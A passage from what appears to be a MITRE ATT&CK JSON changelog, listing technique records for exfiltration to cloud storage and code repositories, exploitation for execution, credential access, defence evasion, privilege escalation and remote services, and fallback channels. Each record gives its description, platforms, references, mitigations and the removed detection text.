"id": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-09 15:04:32.767000+00:00",
"modified": "2025-10-24 17:49:19.048000+00:00",
"name": "Exfiltration to Cloud Storage",
"description": "Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.\n\nExamples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1567/002",
"external_id": "T1567.002"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Flow\", \"File: File Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:19.048000+00:00\", \"old_value\": \"2025-04-15 19:59:03.751000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to known cloud storage services. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1021: Restrict Web-Based Content"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0570: Detection Strategy for Exfiltration to Cloud Storage"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-09 14:51:11.772000+00:00",
"modified": "2025-10-24 17:49:04.207000+00:00",
"name": "Exfiltration to Code Repository",
"description": "Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1567/001",
"external_id": "T1567.001"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"ESXi"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.207000+00:00\", \"old_value\": \"2025-04-15 19:58:48.876000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to code repositories. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1021: Restrict Web-Based Content"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0318: Detection Strategy for Exfiltration to Code Repository"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2018-04-18 17:59:24.739000+00:00",
"modified": "2025-10-24 17:49:18.695000+00:00",
"name": "Exploitation for Client Execution",
"description": "Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1203",
"external_id": "T1203"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_remote_support": false,
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Modification\", \"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.695000+00:00\", \"old_value\": \"2025-04-15 19:59:03.090000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1048: Application Isolation and Sandboxing",
"M1050: Exploit Protection",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0015: Application Log (Application Log Content)",
"DS0022: File (File Modification)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0287: Exploitation for Client Execution \u2013 cross-platform behavior chain (browser/Office/3rd-party apps)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2018-04-18 17:59:24.739000+00:00",
"modified": "2025-10-24 17:49:08.674000+00:00",
"name": "Exploitation for Credential Access",
"description": "Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0\n\nCredentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.(Citation: Bugcrowd Replay Attack)(Citation: Comparitech Replay Attack)(Citation: Microsoft Midnight Blizzard Replay Attack)\n\nSuch exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.(Citation: Storm-0558 techniques for unauthorized email access)\n\nExploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1212",
"external_id": "T1212"
},
{
"source_name": "Bugcrowd Replay Attack",
"description": "Bugcrowd. (n.d.). Replay Attack. Retrieved September 27, 2023.",
"url": "https://www.bugcrowd.com/glossary/replay-attack/"
},
{
"source_name": "Comparitech Replay Attack",
"description": "Justin Schamotta. (2022, October 28). What is a replay attack?. Retrieved September 27, 2023.",
"url": "https://www.comparitech.com/blog/information-security/what-is-a-replay-attack/"
},
{
"source_name": "ADSecurity Detecting Forged Tickets",
"description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
"url": "https://adsecurity.org/?p=1515"
},
{
"source_name": "Storm-0558 techniques for unauthorized email access",
"description": "Microsoft Threat Intelligence. (2023, July 14). Analysis of Storm-0558 techniques for unauthorized email access. Retrieved September 18, 2023.",
"url": "https://www.microsoft.com/en-us/security/blog/2023/07/14/analysis-of-storm-0558-techniques-for-unauthorized-email-access/"
},
{
"source_name": "Microsoft Midnight Blizzard Replay Attack",
"description": "Microsoft Threat Intelligence. (2023, June 21). Credential Attacks. Retrieved September 12, 2024.",
"url": "https://x.com/MsftSecIntel/status/1671579359994343425"
},
{
"source_name": "Technet MS14-068",
"description": "Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.",
"url": "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"John Lambert, Microsoft Threat Intelligence Center",
"Mohit Rathore"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS",
"Identity Provider"
],
"x_mitre_version": "1.6",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Process: Process Creation\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:08.674000+00:00\", \"old_value\": \"2025-04-15 22:30:06.288000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.\"}}}",
"previous_version": "1.6",
"changelog_mitigations": {
"shared": [
"M1013: Application Developer Guidance",
"M1019: Threat Intelligence Program",
"M1048: Application Isolation and Sandboxing",
"M1050: Exploit Protection",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Authentication)",
"DS0009: Process (Process Creation)",
"DS0015: Application Log (Application Log Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0174: Detection Strategy for Exploitation for Credential Access"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2018-04-18 17:59:24.739000+00:00",
"modified": "2025-10-24 17:49:39.960000+00:00",
"name": "Exploitation for Defense Evasion",
"description": "Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.\n\nThere have also been examples of vulnerabilities in public cloud infrastructure of SaaS applications that may bypass defense boundaries (Citation: Salesforce zero-day in facebook phishing attack), evade security logs (Citation: Bypassing CloudTrail in AWS Service Catalog), or deploy hidden infrastructure.(Citation: GhostToken GCP flaw)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1211",
"external_id": "T1211"
},
{
"source_name": "Salesforce zero-day in facebook phishing attack",
"description": "Bill Toulas. (2023, August 2). Hackers exploited Salesforce zero-day in Facebook phishing attack. Retrieved September 18, 2023.",
"url": "https://www.bleepingcomputer.com/news/security/hackers-exploited-salesforce-zero-day-in-facebook-phishing-attack/"
},
{
"source_name": "Bypassing CloudTrail in AWS Service Catalog",
"description": "Nick Frichette. (2023, March 20). Bypassing CloudTrail in AWS Service Catalog, and Other Logging Research. Retrieved September 18, 2023.",
"url": "https://securitylabs.datadoghq.com/articles/bypass-cloudtrail-aws-service-catalog-and-other/"
},
{
"source_name": "GhostToken GCP flaw",
"description": "Sergiu Gatlan. (2023, April 21). GhostToken GCP flaw let attackers backdoor Google accounts. Retrieved September 18, 2023.",
"url": "https://www.bleepingcomputer.com/news/security/ghosttoken-gcp-flaw-let-attackers-backdoor-google-accounts/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"John Lambert, Microsoft Threat Intelligence Center"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS",
"SaaS",
"IaaS"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:39.960000+00:00\", \"old_value\": \"2025-04-15 19:59:24.778000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1019: Threat Intelligence Program",
"M1048: Application Isolation and Sandboxing",
"M1050: Exploit Protection",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0015: Application Log (Application Log Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0595: Detection Strategy for Exploitation for Defense Evasion"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:55.066000+00:00",
"modified": "2025-10-24 17:49:14.643000+00:00",
"name": "Exploitation for Privilege Escalation",
"description": "Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1068",
"external_id": "T1068"
},
{
"source_name": "ESET InvisiMole June 2020",
"description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
"url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
},
{
"source_name": "Microsoft Driver Block Rules",
"description": "Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021.",
"url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
},
{
"source_name": "Unit42 AcidBox June 2020",
"description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.",
"url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics",
"Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security",
"Idan Revivo, @idanr86, Team Nautilus Aqua Security",
"David Tayouri"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Containers",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.6",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Driver: Driver Load\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:14.643000+00:00\", \"old_value\": \"2025-04-15 19:58:58.811000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules)\\n\\nHigher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules)\\n-\\n-Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.\"}}}",
"previous_version": "1.6",
"changelog_mitigations": {
"shared": [
"M1019: Threat Intelligence Program",
"M1038: Execution Prevention",
"M1048: Application Isolation and Sandboxing",
"M1050: Exploit Protection",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0027: Driver (Driver Load)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0514: Detection Strategy for Exploitation for Privilege Escalation"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2018-04-18 17:59:24.739000+00:00",
"modified": "2025-10-24 17:49:09.112000+00:00",
"name": "Exploitation of Remote Services",
"description": "Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB(Citation: CIS Multiple SMB Vulnerabilities) and RDP(Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL(Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)(Citation: Ars Technica VMWare Code Execution Vulnerability 2021) Additionally, there have been a number of vulnerabilities in VMware vCenter installations, which may enable threat actors to move laterally from the compromised vCenter server to virtual machines or even to ESXi hypervisors.(Citation: Broadcom VMSA-2024-0019)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1210",
"external_id": "T1210"
},
{
"source_name": "Broadcom VMSA-2024-0019",
"description": "Broadcom. (2024, September 17). VMSA-2024-0019: Questions & Answers. Retrieved April 8, 2025.",
"url": "https://github.com/vmware/vcf-security-and-compliance-guidelines/blob/main/security-advisories/vmsa-2024-0019/README.md"
},
{
"source_name": "CIS Multiple SMB Vulnerabilities",
"description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.",
"url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/"
},
{
"source_name": "Ars Technica VMWare Code Execution Vulnerability 2021",
"description": "Dan Goodin . (2021, February 25). Code-execution flaw in VMware has a severity rating of 9.8 out of 10. Retrieved April 8, 2025.",
"url": "https://arstechnica.com/information-technology/2021/02/armed-with-exploits-hackers-on-the-prowl-for-a-critical-vmware-vulnerability/"
},
{
"source_name": "NVD CVE-2016-6662",
"description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662"
},
{
"source_name": "NVD CVE-2017-0176",
"description": "National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018.",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0176"
},
{
"source_name": "NVD CVE-2014-7169",
"description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"ExtraHop"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS",
"ESXi"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:09.112000+00:00\", \"old_value\": \"2025-04-15 19:58:53.590000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of [Discovery](https://attack.mitre.org/tactics/TA0007), or other unusual network traffic that may indicate additional tools transferred to the system.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1016: Vulnerability Scanning",
"M1019: Threat Intelligence Program",
"M1026: Privileged Account Management",
"M1030: Network Segmentation",
"M1042: Disable or Remove Feature or Program",
"M1048: Application Isolation and Sandboxing",
"M1050: Exploit Protection",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0118: Exploitation of Remote Services \u2013 multi-platform lateral movement detection"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:21.689000+00:00",
"modified": "2025-10-24 17:49:35.854000+00:00",
"name": "Fallback Channels",
"description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1008",
"external_id": "T1008"
},
{
"source_name": "University of Birmingham C2",
